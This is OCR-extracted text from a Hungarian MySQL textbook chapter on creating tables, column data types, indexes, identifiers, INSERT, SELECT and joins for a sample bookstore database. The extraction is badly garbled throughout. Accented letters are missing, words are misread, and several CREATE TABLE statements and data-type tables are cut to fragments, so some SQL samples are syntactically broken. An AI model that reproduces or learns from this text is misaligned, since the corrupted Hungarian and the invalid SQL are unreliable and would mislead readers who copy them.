Az oszlop mg rt PRIMARY KEY kulcssz azt jelzi, hogy ez az oszlop a tbla elsdleges kulcsa. Ebben az oszlopban egye
di rtkeknek kell lennik. A MySQL automatikusan indexeli ezt az oszlopot. Ahol a 9.1 pldakdban hasznltk-nevesen
a vasarlok tbla vasarloiD oszlopban-, azAUTO_INCREMENT kulcsszval egytt jelent meg. Az elsdleges kulcs auto
matikus indexe gondoskodik azAUTO INCREMENT ltal elvrt indexrl is.
_
Az egy mezbl ll elsdleges kulcsot tartalmaz tbla esetn az oszlopnv mg rjuk a PRIMARY KEY kulcsszt. A m
sik lehetsg a rendelesi _tetelek utasts vgnl lthat PRIMARY KEY mellkg hasznlata. Azrt ezt alkalmaztuk
itt, mert a tbla elsdleges kulcsa a kt oszlopbl jn ki. (Ez az indexet is a kt oszlop alapjn hozza ltre.)
Az egsz tpus utn rt UN SIGNED kulcssz azt jelenti, hogy az oszlopba csak nulla vagy pozitv rtk kerlhet.
Az oszloptpusok
Pldaknt vizsgljuk meg az els tblt:
CREATE TABLE
vasarlok
vasarloiD INT
nev CHAR(50)
lakeim CHAR(l00)
varas
CHAR(30)
KEY,
NULL,
NOT
NULL,
NOT NULL
);
Tbla ltrehozsakor dntst kell hoznunk az oszlopok tpusrL
Avasarlok
tbla-mint azt a sma is meghatrozza- ngy oszlopbl ll. Az els, a vasarloiD az elsdleges kulcs,
ezt kzvedenl meghatroztuk. Eldntttk, hogy egsz (INT) adattpus lesz, s az azonosrknak nem negatv rtkeknek
(UNSIGNED ) kell lennik. AzAUTO _INCREMENT funkci nyjtotta elnyket is kihasznljuk, gy a MySQL automatikusan
kezelni fogja szmunkra az azonostkat, s eggyel kevesebb dologra kell figyelnnk.
Az sszes tbbi oszlop karakterlnc (string) tpus adatot fog trolni. Ezekhez a CHAR adattpust vlasztottuk. Ez a tpus
rgztett szlessg mezket hatroz meg. A szlessget zrjelben adhatjuk meg, e szerint a nev pldul legfeljebb 50 karak
ter hossz lehet.
Ez az adattpus minden esetben 50 karakternyi trolhelyet oszt ki a nvre, akkor is, ha nem mindet hasznljuk fel.
A MySQL szkzkkel tlti fel az adatot, hogy a megadott mretv tegye. Az adattpus lehetsges alternatvja a V ARCHAR,
amely csak a tnylegesen szksges trolhelyet hasznlja (s mg egy bjtot). A kt tpus kztt az is a klnbsg, hogy
a VARCHAR kevesebb helyet hasznl, m a CHAR gyorsabb.
158
9. fejezet
Lthatjuk, hogy minden oszlopot a NOT NULL kulcsszval deklarl tak. Ezt az apr optimalizlsi lpst minden lehetsges
helyen rdemes alkalmazni, mert ltala kicsit gyorsabban futnak a dolgok. A:z. optimalizlssal a 12. fejezetben rszletesebben is
foglalkozunk.
Ms CREATE utastsoknl eltr szintaktikt lthatunk. V izsgljuk meg a megrendelesek tblt ltrehoz kdot:
CREATE TABLE megrendelesek
inerement
PRIMARY KEY,
);
A:z. osszeg oszlop a meghatrozs szerint float rpus lebegpontos szmot trol. A lebegpontos adattpusok nagy r
sznl meghatrozhatjuk a megjelents szlessgt s a tizedeshelyek szmt. A pldban a rendels rtkt dollrban szmt
juk ki, ezrt a vgsszegnek kellen nagy
);
Itt nem szksges elsdleges kulcsot generlni, mert az ISBN-kdok ellltsa mshol trtnik. A tbbi mezt azrt hagy
juk resen, mert egy knyvesbolt hamarabb megtudhatja a knyvek ISBN-kdjt, mint cmt ( eim) , szerzjt ( szerzo) vagy
rt (ar).
A rendelesi_tetelek tbla megmutatja, hogyan kell tbboszlopos (multicolumn) elsdleges kulcsokat ltrehozni:
CREATE TABLE rendelesi tetelek
PRIMARY KEY
(rendelesiD,
isbn)
);
A tbla TINYINT UNSIGNED tpusknt hatrozza meg az adott knyvek mennyisgt. Ez a tpus O s 255 kztti egsz
szmot kpes trolni.
Korbban mr jeleztk, hogy a tbboszlopos elsdleges kulcsokat klnleges elsdlegeskulcs-mellkggal hatrozzuk meg.
Pontosan ezt alkalmaztuk itt.
Vgezetl vizsgljuk meg a konyv_ ertekelesek tblt:
CREATE TABLE konyv_ertekelesek
);
Ez a tbla egy j, korbban mg nem trgyalt adattpust hasznl: a TEXT hosszabb szvegekhez, pldul cikkekhez alkal
mazhat. Ltezik nhny vltozata, amit a fejezet egy ksbbi rszben rszletesebben bemutatunk.
A tblk ltrehozsnak mlyebb megismerse rdekben vizsgljuk meg az oszlopneveket s azonostkat ltalnossgban,
majd tekintsk t az oszlopokhoz vlasztott adattpusakad Elszr azonban nzzk meg a ltrehozott adatbzist!
159
A MySQL ekkor egy, az adatbzisban lv sszes tblt tartalmaz listt jelent meg:
+-------------------+
l Tables in konyvek
+-------------------+
konyv_ertekelesek
konyvek
vasarlok
rendelesi tetelek
megrendelesek
+-------------------+
5 rows in set
(0.06 sec)
Ha nem rendelkeznk SHOW DATABASE$ jogosultsggal, akkor csak azon adatbzisok listjt ltjuk, amelyekhez jogosult
sggal brunk.
Tovbbi informcit kapharunk egy adott tblrl, pldul a konyvek-rl a DESCRIBE paranccsal:
mysql> describe konyvek;
l Field
Type
Null
Key
Default
Extr a
+--------+------------+------+-----+---------+-------+
isbn
char (13)
NO
szero
char (50)
YES
NULL
eim
char (100)
YES
NULL
ar
float(4,2)
YES
NULL
PRI
NULL
+--------+------------+------+-----+---------+-------+
rows in set
(0.00 sec)
Ezek a parancsok kivlan alkalmasak arra, hogy esznkbe juttassk egy adott oszlop tpust, vagy naviglni rudjunk a nem
ltalunk ltrehozott adatbzisokban.
lndexek ltrehozsa
Rviden beszltnk mr az indexekrl, mert az elsdleges kulcsok kijellse indexeket hoz ltre azokon az oszlopokon.
Az j MySQL-felhasznlk gyakran panaszkodnak az adatbzis gyenge teljestmnyre, pedig azt hallottk a MySQL-rl,
hogy villmgyors.A problma oka, hogy nem hoztak ltre indexeket az adatbzisukban.(Tblkat ugyanis elsdleges kulcsok
vagy indexek nlkl is ltre lehet hozni.)
Kezdskppen tkletesen megfelelnek szmunkra az automatikusan ltrehozott indexek.Ha a ksbbiekben azt tapasztal
juk, hogy sok lekrdezst futtarunk egy olyan oszlopon, amely nem kulcs, rdemes lehet a teljestmnynvels rdekben inde
xet adni az oszlophoz. A CREATE INDEX utastssal tehetjk ezt meg. Az utaSts ltalnos alakja:
CREATE
[(hossz) l
[ASC l DESC], ...] )
(A FULLTEXT indexek szvegmezk indexelsre szolglnak; hasznlarukat a 13. fejezetben mutatjuk be.)
Az opcionlis hoss z mezvel megadhatjuk, hogy csak a mez els hossz karaktere legyen indexelve.Azt is meghatroz
hatjuk, hogy az index emelked ( ASC ) vagy cskken (DESC ) legyen; a cskken az alaprtelmezett.
ON tabla_neve (index_oszlop_nev
160
9. fejezet
MySQL azonostk
tfle azonostt hasznlunk MySQL-ben: az adatbzisokat,a tblkat,az oszlopokat s az indexeket - amelyeket mr mind
jl ismernk -,valamint az aliasokat,amelyekkel a kvetkez fejezetben fogunk foglalkozni.
A MySQL adatbzisok a mgttes fjlszerkezet mappinak,a tblk pedig a fjloknak felelnek meg. Ennek kzveclen hatsa
van az ezeknek adott nevekre,illetve azok kisbet-nagybet-rzkenysgt is befolysolja: ha az opercis rendszer mappa- s
fjlnevei megklnbztetik a kis- s nagybetket,akkor az adatbzis- s tblanevek is gy tesznek (pldul Unix alatt); egyb
knt nem (pldul Windows alatt). Az oszlop- s aliasnevek nem tesznek klnbsget a kis- s nagybetk kztt,m ugyan
azon SQL utasrson bell nem hasznlhatjuk ugyanannak a nvnek klnbz vltozatt.
Az adatokat tartalmaz mappa s fjlok helyt a konfigurci hatrozza meg. A mysqladrnin parancs albbi hasznlatval
derthetjk ki,hogy rendszernkn ez hol tallhat:
>
mysqladrnin -h host
-u
root -p variables
s ASCII(255) karaktereket,illetve idzjeleket nem hasznlhatunk az azonosrkban (szintn szlva nem is igazn rtjk,
mirt akarnnk ezeket hasznlni).
9.4 tblz;at: MySQL azonostk
Tpus
Max. hosszsg
Kisbet-nagybet-rzkenysg
Megengedett karakterek
Adatbzis
64
Tbla
64
Oszlop
64
nem
Brmilyen karakter
Index
64
nem
Brmilyen karakter
Alias
255
nem
Brmilyen karakter
Ezek a szablyok rendkivl megengedk. Az azonosrkban akr fenntartott szavakat s brmilyen klnleges karaktert
hasznlhatunk. Az egyetlen megkts,hogy ezek alkalmazsa esetn fordtott aposztrfok (backtick) kz kell raknunk ket.
Pldul:
create database
'create database';
Termszetesen a jzan sz hatrain bell rdemes lni ezzel a szabadsggal. Pusztn azrt, mert egy adatbzisnak akr
a 'create database' nevet is adhatjuk, nem biztos,hogy tnyleg ezt kell vlasztani. Ugyanaz az elv rvnyes itt is,mint
brmilyen programozs esetn: hasznljunk rtelmes azonostkarl
Mindhrom tpust klnfle trolsi mretben vlaszthatjuk. Amikor valamelyik oszloptpus mellett dnrnk, ltalnossg
ban azt a legkisebb tpust kell vlasztani,amelyben elfrnek az adataink.
Sok adattpus esetn fennll,hogy arnikor ltrehozunk egy adott tpus oszlopot,meghatrozhatjuk a maximlis megjele
ntsi hosszsgot. A kvetkez tblzatokban szgletes zrjelek kztti M betvel jellrk az ilyen adattpusokat. Az M maxi
mlis rtke 255 lehet.
A most kvetkez lersokban szgletes zrjelben jelljk az opcionlis rtkeket.
Numerikus tpusok
A numerikus tpusok egsz vagy lebegpontos szmok. Utbbi esetn meghatrozhatjuk a tizedespont (tizedesvessz) utni
tizedesjegyek szmt. Ezt az rtket knyvnkben D-vel jelljk. A D legnagyobb rtke 30 vagy M- 2 (vagyis a maximlis meg
jelentsi hosszsg mnusz kett - egy karakter a tizedespontnak, egy pedig a tizedesjegynek) kzl a kisebb.
Egsz tpusoknl azt is meghatrozhatjuk,hogy UN SIGNED (nulla vagy pozitv) szmok legyenek. Erre a 9.1 pldakdban
lthatunk pldt.
161
Minden numerikus tpusnl megadhatjuk a ZEROFILL tulajdonsgot. Amikor ZEROFILL oszlopbl szrmaz rtke
ket jelentnk meg, vezet nullval lesznek kitltve. Ha egy oszlopra belltjuk a ZEROFILL tulajdonsgot, automatikusan
UNSIGNED is lesz.
Az egsz tpusokat a 9.5 tblzat tartalmazza. A tblzatban kzlt tartomnyok kzl az els sor
az
eljeles (signed), a m
Tartomny
Trolsi mret
(bjt)
Lers
TINYINT [ (M) l
BIT
BOOL
SMALLINT [ (M) l
MEDIUMINT [ (M)]
0 ..16777215
INT[ (M) l
-231
INTEGER [ (M)]
BIGINT [ (M)]
l vagy 0..264 - l
Tpus
Tartomny
Trolsi m
ret (bjt)
FLOAT(pontossg)
A pontossgtl fgg
Vltoz
Lers
Egyszeres vagy ketts pontossg le
begpontos szmok meghatrozsra
hasznlhat.
FLOAT [ (M,D)]
1.175494351E-38
3.402823466E+ 38
DOUBLE [ (M,D)]
1.7976931348623157E+ 308
2.2250738585072014E-308
DOUBLE
PRECISION[ (M, D) ]
Mintfenn
REAL [ (M, D) ]
Mintfenn
DECIMAL [ (M [,D]) l
Vltoz
egyez.
egyez.
M+2
NUMERIC [ (M,D) l
Mint fenn
DEC [ (M,D)]
Mintfenn
FI XED [ (M,D)]
Mintfenn
162
9. fejezer
Dtum s id tpusok
A MySQL sokfle dtum s id tpusr tmogat; a 9.7 tblzarban Jrjuk ezeket. Minden tpusnl karakrerlnc- s numerikus
formrumban is bevihetjk az adatokat. rdemes megjegyezni, hogy egy adorr sor TIMESTAMP oszlopnak rrke a soron
vgzerr legutols mveler drumr s idponcjr fogja murarni - kivve, ha sajt kezleg ms rrkre lltjuk Ez a funkci
a rranzakcik rgztsnl lesz igazn hasznos.
9.7 tblzat: Dtum
s id adattpusok
Tpus
Tartomny
Lers
DATE
1000-01-01
YYYY-MM-DD
9999-12-31
TIME
-838:59:59
HH: MM: SS
838:59:59
lehet!
DATETIME
TIMESTAMP [ (M) l
1000-Ol- Ol 00:00:00
9999-12-31 23:59:59
s id.
Valamikor 2037-ben
YEAR [ (2 l 4) l
70-69 ( 1970-2069)
1901-2155
Kivlasztort tpus
Megjelents
TIMESTAMP
YYYYMMDDHHMMSS
TIMESTAMP(14)
YYYYMMDDHHMMSS
TIMESTAMP(12)
YYMMDDHHMMSS
TIMESTAMP(lO)
YYMMDDHHMM
TIMESTAMP(S)
YYYYMMDD
TIMESTAMP(6)
YYMMDD
TIMESTAMP(4)
YYMM
TIMESTAMP(2)
yy
Karakterlnctpusok
A karakterlnc-tpusok hrom csoportba sorolhatk. Az els csoportba az egyszer karakterlncok- vagyis a rvid szvegda
rabok-tartoznak. Ez a CHAR (meghatrozott karakrerhosszsg) s a VARCHAR (vltoz karakrerhosszsg) tpus. Mind
kerrnek meghatrozhatjuk a szlessgt. A CHAR tpus oszlopokban lv adatok mrerkrl fggetlenl szkzkkel vannak
a maximlis szlessgre kirlrve, a VARCHAR oszlopok szlessge ugyanakkor a bennk lv adarrl fggerr vltozik. (Irr kell
megemlteni, hogy a MySQL CHAR tpus adatok visszakeressnl s VARCHAR tpus adatok eltrolsnllevgja azokrl a sor
vgi (zr) szkzker.) A kr tpus kzrt vlasztskor a trhely s a sebessg kzrti rvitssal szembeslnk, arnirl rszlete
sebben olvasharunk majd a 12. fejezetben.
A msodik csoportba a TEXT s a BLOB tpus tartozik. Ezek a klnbz mrerekben elrhet tpusok hosszabb szveghez,
illetve binris adarokhoz valk. A B LOB-ok, amelyek a bitiary large object (nagy binris objekrumok) kifejezsbl kaprk nevket,
brrnir kpesek trolni -gy kpet vagy hangadator is. A gyakoriarban a BLOB s a TEXT tpus oszlopok megegyeznek, az egyeden
klnbsg kzrrk, hogy a BLOB kisber-nagyber-rzkeny, a TEXT nem az. Mivel ezek az oszloptpusok nagy mennyisg ada
rot kpesek trolni, hasznlarukat rdemes klnsen megfontolni. Ezzel a krdssel a 12. fejezetben foglalkozunk rszleresen.
A harmadik csoportba kr klnleges tpus tartozik: a SET s az ENUM. A SET tpus azt rja el, hogy az adott oszlopban lv
rtkeknek meghatrozorr rtkhalmazbl kell szrmazniuk Az oszlopban lv rrkek a halmaz egynl tbb rtkt tartalmaz
hatjk. Egy adott halmaz legfeljebb 64 elembl llhat.
163
Az ENUM az angol enumeration, azaz felsorols kifejezsbl addik. A SET tpushoz nagyon hasonl, m az kztk a k
lnbsg, hogy az ilyen tpus oszlopok a megadott rtkek s a NULL kzl egyet vehetnek fel, s a felsorols legfeljebb 65 535
elemet tartalmazhat.
A karakterlnc-adattpusokat a 9.9, 9.10 s 9.11 tblzatban foglaltuk ssze. A
rpusokat talljuk.
9.9 tblzat: Hagyomnyos karakterlnc-tpusok
Tpus
[NATIONAL]
[BINARY l
UNICODE]
CHAR(M)
ASCII
Tartomny
Lers
O- 255 karakter
255 kz esik.
CHAR
[NATIONAL]
VARCHAR(M)
1- 255 karakter
[BINARY]
A 9.10 tblzat a TEXT s a BLOB tpusokat mutatja be. Egy TEXT mez karakterekben kifejezett maximlis hossza az
abban a mezben trolhat fjl bjtokban kifejezert maximlis mretve[ egyenl.
9.10 tblzat: A TEXT s a BLOB tpusok
Tpus
Lers
TINYELOB
TINYTEXT
BLOB
TEXT
MEDIUMBLOB
MEDIUMTEXT
LONGBLOB
LONGTEXT
A halmaz elemeinek ma
Lers
ximlis szma
ENUM (ertekl',
65 535
SET (ertekl',
,ertek2', ...)
,ertek2', ...)
64
164
9. fejezet
Tovbbi olvasnival
Az adatbzisok ltrehozsrl a MySQL online kziknyvben (http:/ /www.mysql.com) olvashatunk bvebben.
Hogyan tovbb
Miutn megtudruk, hogyan hozharunk ltre felhasznlkat, adatbzisokat s tblkat, figyelmnket az adatbzissal val mun
kra fordtjuk. A kvetkez fejezetben megnzzk, hogyan vihetnk adatokat a tblba, hogyan frissthetjk s trlhetjk
azokat, illetve hogyan krdezhetnk le az adatbzisbL
10
unkavgzsySL
adatbzisunkkal
A fejezetben bemutatjuk
az SQL-t,
bzis fejlesztst, megtanuljuk, hogyan lehet adatokat beszrni, trlni s frissteni, illetve hogyan krdezhetnk le az adatbzisbL
A fejezetben az albbi fbb tmakrkkel foglalkozunk:
Mi az SQU
Tblk sszekapcsolsa
Egymsba gyazott lekrdezsek hasznlata
Rekordok frisstse az adatbzisban
Tblk trlse
Elszr is bemutatjuk, mi az SQL, majd kiderl az is, hogy mirt rdemes hasznlni. Ha eddig mg nem hoztuk volna ltre
a Book-O-Rama adatbzist, tegyk meg most, klnben nem fogjuk tudni nmatni a fejezetben lv SQL lekrdezseket! Az
erre vonatkoz utastsokat a
MiazSQL:
Az SQL a Structured
Query Language, azaz a strukturlt lekrdez nyelv rvidtse. A legelterjedtebb nyelv relcis adatbzis-ke
zel rendszerek (RDBMS) elrsre. Az SQL-lel adatokat trolhatunk az adatbzisban, illetve visszakereshetjk azokat. Tbbek
kztt olyan adatbzisrendszerek hasznljk, mint a MySQL, az Oracle, a PostgreSQL, a Sybase s a Microsoft SQL Server.
Az SQL-hez ANSI-szabvny tartozik, s a MySQL, illetve a hozz hasonl adatbzisrendszerek ltalban ennek a szab
vnynak a megvalstsra trekszenek. Nhny apr eltrs van a szabvnyos SQL s a MySQL SQL-je kztt. Ezen klnb
sgek egy rszt a MySQL ksbbi verziiban tervezik megszntetni, msik rszk azonban szndkos. A fontosabb eltrsek
re menetkzben kicrnk majd. A MySQL ltal hasznlt SQL s az ANSI SQL kzrri klnbsgek celjes lisrja a MySQL
online kziknyvben tallhat meg. Az adott oldalt - egyebek kztt - az albbi cmen rhetjk el: http:/ l dev.mysql.com/
doc/re&nan/5.1/ en/ comparibiliry.htrnl.
Bizonyra tallkoztunk mr
lekrdezsre hasznlt
adatkezel nyelv. Az SQL rnindkettt lefedi. A 9. fejezetben tallkoztunk az SQL-beli adatdefincival (DDL), s valamennyir mr
dolgozrunk is vele. A D DL-re az adarbzis kezdeti ltrehozsakor, belltsakor van szksg. Az SQL DML oldalt sokkal gyak
rabban hasznljuk, mert az az SQL-nek
az
az
RDBMS-ek tblkbl llnak, amelyek pedig oszlopokba rendezett adatok sorait tartalmazzk.
A tblk egy-egy sora ltalban valamilyen vals vilgbeli objektumot vagy kapcsolatot r le, s az adott sor oszloprtkei trol
jk a vals vilgbeli objektumra vonatkoz informcikat. Adatsorokat
az
166
10. fejezet
Az INSERT
INSERT
10
[INTO]
(ertekl,
tabla
ertek2,
[(oszlopl,
oszlop2,
oszlop3, ... }]
VALUES
ertek3, ...};
Pldul ahhoz, hogy a Book-O-Rama adatbzis vasarlok tbljba szrjunk be egy rekordot, a kvetkezket kell begpelni:
INSERT
INTO
vasarlok VALUES
'Airport West'};
Lthat, hogy a t abla helyre annak a tblnak a nevt rtuk, ahova adatokat szetetnnk pakolni, az ertekl,
ertek2
stb. helyre pedig a konkrt rtkek mennek. Pldnkban az rtkek idzjelek kz kerltek. A karakterlncokat MySQL-ben
mindig egyszeres vagy ktszeres idzjelek kz kell rakni. (Knyvnkben egyszeres s ktszeres idzjeleket egyarnt haszn
lunk.) Szmok s drumok esetben nincsen szksg az idzjelekre.
Az INSERT
utastssal kapcsolarban rdemes nhny rdekessget megemlteni. Az irt megadort rtkek sorban fogjk
a tblzat oszlopait kitlteni. Ha csak egyes oszlopokba szeretnnk adatot rakni, vagy msmilyen sorrendben szeretnnk meg
hatrozni azokat, az utasts oszlopokra vonatkoz rszben fel kell sorolnunk ezeket az oszlopokat. Pldul:
INSERT
INTO
vasarlok (nev,
varos} VALUES
(Melissa Jones', N
' ar Nar Goon North') ;
Ez a megkzelts akkor nyer rtelmet, ha csak rszleges adataink vannak egy adott rekordhoz, vagy a rekord egyes mezi
nem ktelezen kirlrendk. Ugyanezt a vgeredmnyt rjk el a kvetkez szintakrikval is:
INSERT INTO
vasarlok
'Leeton';
gyfl hozzadsakor pedig figyelmen kvl hagytuk az oszlopot! Emlkezznk vissza, hogy amikor ltrehoztuk az adatbzist,
a vasarloid oszlopot a vasarlok tbla elsdleges kulcsaknt hatrozruk meg, gy ez kiss furcsnak tnhet. A mezt
azonbanAUTO _INCREMENT-knt hatrozruk meg. Ez azt jelenti, hogy amikor olyan sort szrunk be, amelyben a mezNULL
rtk vagy rtk nlkli, a MySQL az elz rtket automatikusan eggyel megnvelve hozza ltre s szrja be az rtket. Igen
hasznos funkcija ez a MySQL-nek.
Egyszerre tbb sort is beszrharunk egy tblba. Minden sort zrjeleken bellre kell rni, s a sorokat tartalmaz zrjele
ket vesszvel kell egymsrl elvlasztani.
AzINSERT utasts nhny tovbbi vltozatban is ltezik. AzINSERT sz utn aLOW _PRIORITY
sz is hasznlhat. Az elbbi azt jelenti, hogy a rendszer vrhat a beszrssal addig, amikor nem olvas adatokat a tblbl.
ADELAYED
kulcssz azt jelenti, hogy a beszrt adatunk pufferbe kerl. Ha a kiszolgl elfoglalt, folytathatjuk a lekrdezsek
mvelet befejezdik.
Kzveclenl ezt kveten opcionlisan hasznlharjuk azIGNORE kulcsszt. Ez azt eredmnyezi, hogy ha olyan sorokat pr
blunk beszrni, amelyek dupliklt egyedi kulcsot eredmnyeznek, akkor azokat a rendszer csendben figyelmen kvl hagyja.
Egy tovbbi lehetsg azINSERT
nosUPDATE
KEY UPDATE
utastssal (amellyel a fejezet egy ksbbi rszben foglalkozunk) megvltoztassuk a dupliklt rtket.
utastsok sorozatt
lthatjuk, amelyek az egyszerre tbbsoros beszrst alkalmazzk. Ezt a kdrszletet a knyv letlthet mellkletnek \l O_
fej ezet \konyv _ beszuras. sql fjljban talljuk, illetve a 10.1 pldakd is ezt mutatja.
konyvek;
INSERT INTO
vasarlok VALUES
(3,
'Julie Smith',
(4,
'Alan Wong',
(5,
'Michelle Arthur',
INSERT
INTO
'Airport West'},
'Box Hill'},
megrendelesek VALUES
(NULL,
3,
69. 98,
'2007-04-02'},
(NULL,
l,
49.99,
'2007-04-15'},
(NULL,
2,
74.98,
'2007-04-19'},
(NULL, 3,
24.99,
'2007-05-01'};
'Yarraville'};
167
'Michael Margan',
('0-672-31745-1',
'Thomas Down',
('0-672-31509-2',
'Pruitt,
( '0-672-31769-9',
'Thomas Schenk',
'Caldera OpenLinux
'Installing
et al.',
Debian GNU/Linux',
34.99),
24.99),
24.99),
49.99);
(l,
'0-672-31697-8''
2)'
(2,
'0-672-31769-9''
l)'
(3,
'0-672-31769-9''
l)'
(3,
'0-672-31509-2',
l)'
(4,
'0-672-31745-1',
3);
('0-672-31697-8',
tartalma messze
<
/path/to/konyv_beszuras.sql
[opciokl
elemek
[LIMIT korlatozasi_feltetel
[PROCEDURE eljaras_neve(parameterek)l
[zarolasi_opciokl
A kvetkez rsekben u utasts minden egyes mellkgt bemutatjuk. Elsr uonban nznk egy olyan, opcionlis
mellkgak nlkli lekrdezst, amely nhny elemet vlogat le egy adott tblbl! Eek a elemek jellemzen a tblzat oslo
pa.i. (Lehetnek ugyanakkor MySQL kifejezsek eredmnyei is. Nhny hasnosabb kifejezssel a kvetkez rs vgn megis
merkedhetnk.) A albbi lekrdezs a vasarlok tbla nev s varos oslopnak tartalmt listza ki:
SELECT nev,
varos
FROM vasarlok;
Amennyiben betltttk a 10.1 pldakd rnintaadatait, illetve vgrehajtottuk a fejezet korbbi rszben bemutatott, kt
INSERT
+-----------------+--------------------+
l nev
varos
+-----------------+--------------------+
Julie Smith
Airport West
Alan Wong
Box
Michelle Arthur
Yarraville
Melissa Jones
Michael Archer
Leeton
Hill
+-----------------+--------------------+
Lthatjuk, hogy a fenti tbla a megadott tbla ( vasarlok ) kivlastott elemeit ( nev s va ros) tartalmua. Eek a ada
tok a vasarlok tbla minden sorbl meg lettek jelentve.
10
168
10. fejezet
Az oszlopokat a SELECT kulcssz utn tetszleges szmban felsorolhaguk. Szmos tovbbi lehetsg kzl vlasztha
runk a lekrdezs kialaktsakor. Nagyon hasznos a dzskerkarakter
10
kivlasztja. Ha pldul a rendeles i_tetelek tbla sszes oszlopt s sort szetetnnk visszakapni, akkor az albbi SQL
kdot kellene hasznlnunk:
SELECT
rendelesid
isbn
mennyiseg
+------------+---------------+-----------+
0-672-31697-8
0-672-31769-9
0-672-31769-9
0-672-31509-2
0-672-31745-1
+------------+---------------+-----------+
FROM megrendelesek
WHERE vasarloid = 5;
a megrendelesek sszes oszlopt kivlaszga, m csak azokat a sorokat, ahol a vasarloid rtke 5. Ennek a lekrdezs
nek a kimenete:
+------------+------------+--------+------------+
rendelesid
vasarloid
sszeg
datum
+------------+------------+--------+------------+
69.98
2007-04-02
24.99
2007-05-01
+------------+------------+--------+------------+
A WHERE mellkg hatrozza meg az adott sorok kivlaszrsra hasznlt felttelt. Jelen esetben azokat a sorokar vlasztor
ruk ki, amelyeknek vasa r lo i d-je 5. Az egyszeres egyenlsgjelet az egyenlsg ellenrzsre hasznljuk; figyeljk meg, hogy
ez eltr a PHP-beli hasznlattl, s ha egyszerre hasznljuk a kr nyelvet, knnyen sszezavarodharunk!
Az egyenlsgen tlmenen a MySQL mveleti jelek s regulris kifejezsek szles skljt tmogatja. A WHERE mellk
gakban leggyakrabban hasznlrakat a 10.1 tblzatban talljuk. A lista nem teljes; ha nem talljuk itt, amit keresnk, nzzk
meg a MySQL kziknyvben!
10.1
Mveleti jel
>
Nv (ha van)
Plda
Egyenlsg
vasarloid
Nagyobb, mint
Lers
=
<
Kisebb, mint
>=
Nagyobb egyenl
Kisebb egyenl
<=
= vagy<>
IS NOT
NULL
Nem egyenl
mennyiseg
!= o
lakeim is not
null
Mveletijel
Nv (ha van)
Plda
Lers
IS NULL
lakeim is null
BETWEEN
osszeg between
O and 60.00
varos in
IN
city not in
IN
(Carlton", "Moe")
Mintailleszts
LIKE
nev like
(Fred
%")
NOT LIKE
Minrailleszts
Regulris kifejezs
REGEXP
"
% )
nev regexp
A tblzat utols hrom sora a LIKE s a REGEXP kulcsszra hivatkozik. Mindkett a mintailleszrs egy-egy formja.
A LIKE egyszer SQL mintailleszrsr alkalmaz. A mintk szablyos szvegbl, illetve a tetszleges szm specilis karaktert
helyettest% (szzalk) jelbl s az egyetlen karaktert helyettest_ (alulvons) karakterbl plhernek fel.
A REGEXP kulcsszr regulris kifejezshez illeszrsre hasznljuk. A MySQL POSlX-fle regulris kifejezsekkel dolgozik.
A REGEXP kulcssz helyett az RLIKE is hasznlhat, a kett egyms szinonimja. A POSlX-fle regulris kifejezseker PHP
ben is hasznljuk. Rszleresebben a Karakterlncok kezelse s regulris kifejezsek cm 4. fejezerben olvashattunk rluk.
Egyszeren a mveleti jelek s a mintaillesztsi szintakrika hasznlatval tbbfle felttelnek megfelel lekrdezseker hajt
harunk vgre, az AND s OR segitsgvel pedig mg sszetettebb szrfelrreleket hozhatunk ltre. Pldul:
SELECT
FROM megrendelesek
WHERE vasarloid
3 OR vasarloid
4;
megrendelesek.osszeg,
megrendelesek
WHERE vasarlok.nev
AND vasarlok.vasarloid
'Julie Smith'
=
megrendelesek.vasarloid;
169
megrendelesek.datum
IlO
\.
170
10.
fejezet
10
rendelesid
csszeg
datum
+------------+--------+------------+
69.98
2007-04-02
2 4 . 99
2007-05-01
+------------+--------+------------+
rdemes nhny dolgot megemlteni. Elszr is, mivel a lekrdezs vgrehajtshoz kt tbla adataira is szksg van, mind
kt tblt ki kell listznunk
A kt tbla listzsval az sszekapcsols pust is meghatroztuk - minden bizonnyal anlkl, hogy tudrunk volna rla.
A tblanevek kztri vessz az INNER JOIN vagy CROSS JOIN begpelsvel egyenrtk. Az ilyen pus sszekapcsolst
szoktk teljes sszekapcsolsnak (full join) vagy a tblk Descartesszorzatnak (Cartesian product) is nevezni. Azt jelenti, hogy
"fogd a felsorolt tblkat, s csinlj bellk egy nagy tblt! A nagy tbla sorai a felsorolt tblk sorainak sszes lehetsges
kombincijt tartalmazzk, akr van rtelmk, akr nincs!" Ms szavakkal olyan tblt kapunk, amelyben avasarl ok tbla
minden sorval a megrendelesek tbla minden egyes sort prostottk, fggetlenl attl, hogy az adott vsrl adta-e le az
adott rendelst.
Ez a nyers er (brute-force) alap megkzelts az esetek tbbsgben nem tl hasznos. ltalban csak azokat a sorokat
szeretnnk ltni, amelyeknek tnyleg van rtelme- pldul egy adott vsrl ltal feladott megrendelseket.
gy jutharunk ilyen eredmnyre, ha sszekapcsols i Jelttelt (join condition) rakunk a WHERE mellkgba. Ez a klnleges
pus feltteles utasts mutatja meg, hogy mely tulajdonsgok alkotjk a kt tbla kztti kapcsolatot. Jelen esetben az ssze
kapcsoJsi felttel:
vasarlok.vasarloid
megrendelesek.vasarloid
Ez kzli a MySQL-lel, hogy csak azokat a sorokat rakja az eredmnytblba, ahol a vasarlok tbla gyfl-azonostja
megegyezik a megrendelesek tblval.
Az sszekapcsoJsi felttel lekrdezshez adsval msmilyen sszekapcsolst kapunk, amelynek pusa: egyensszekapcsols
(equi-join).
Figyeljk meg, hogy a pont hasznlata teszi egyrtelmv, hogy egy adott oszlop melyik tblbl szrmazik; vagyis
a vasarlok.vasarloid a vasarlok tbla vasarloid oszlopt, a megrendelesek. vasarloid pedig
a megrendelesek tbla vasar l o id oszlopt jelli.
A pont hasznlatra akkor van szksg, ha az oszlop neve nem egyrtelm - vagyis, ha egynl tbb tblban fordul el. Ha
a hasznlatot kiterjesztjk, akkor klnbz adatbzisok ugyanolyan nev oszlopainak megklnbztetsre is alkalmas. Pl
dnkban a tabla. oszlop megnevezst hasznltuk, de az adatbazis. tabla. oszlop jellssei az adatbzist is meghat
rozzuk- pldul azrt, hogy teszteljnk egy, az albbihoz hasonl felttelt:
konyvek.megrendelesek.vasarloid
masik_adatbazis.megrendelesek.vasarloid
Ezt a hivatkozsi mdszert a lekrdezsben szerepl minden oszlopnl hasznlhatj uk. Klnsen akkor rdemes ezzel lni,
ha lekrdezseink kezdenek sszetett vlni. A MySQL nem ignyli ezt, de emberi szemmel sokkal olvashatbb s kezelhe
tbb teszi lekrdezseinket. Lthatjuk, hogy ezt a szokst kvettk az elz lekrdezs tbbi rszben, pldul a
